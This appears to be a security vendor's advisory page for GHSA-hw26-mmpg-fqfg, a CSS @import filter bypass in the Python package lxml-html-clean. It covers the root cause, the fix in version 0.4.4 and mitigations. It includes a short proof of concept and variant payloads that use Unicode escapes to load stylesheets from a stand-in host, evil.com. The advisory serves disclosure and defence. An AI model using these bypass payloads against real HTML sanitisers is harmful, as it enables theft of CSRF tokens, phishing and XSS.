GHSA-hw26-mmpg-fqfg is a medium-severity (CVSS 6.1) CWE-116 vulnerability in lxml-html-clean. A fix is available for lxml-html-clean — see the affected versions and patch details below.
lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-hw26-mmpg-fqfg.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-hw26-mmpg-fqfg plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 376,715 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
lxml-html-cleanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers.
Details
The root cause is located in clean.py (around line 594):
style = style.replace('\\', '')
This transformation changes a payload like @\69mport into @69mport. This resulting string does NOT match the blacklist keyword @import. However, all modern browsers' CSS parsers decode \69 as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting @\69mport as a valid @import statement.
Same root cause bypasses expression() detection: \65xpression(alert(1)) passes through (IE only).
PoC
from lxml_html_clean import clean_html
# Normal @import is correctly blocked:
# clean_html('<style>@import url("http://evil.com/x.css");</style>')
# Output: <div><style> url("http://evil.com/x.css");</style></div>
# Unicode escape bypass:
result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>')
print(result)
# Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div>
If rendered in a browser, the browser loads the external CSS. Variants like @\0069mport, @\69 mport (trailing space), and @\49mport (uppercase I) also work.
Impact
External CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via expression().
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | lxml-html-clean | all versions | 0.4.4pip install --upgrade 'lxml-html-clean==0.4.4' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lxml-html-clean, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update lxml-html-clean to 0.4.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hw26-mmpg-fqfg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-hw26-mmpg-fqfg can be triaged on real exposure rather than presence alone.
Tailored to GHSA-hw26-mmpg-fqfg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hw26-mmpg-fqfg in your dependencies?
O3 Security finds GHSA-hw26-mmpg-fqfg across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.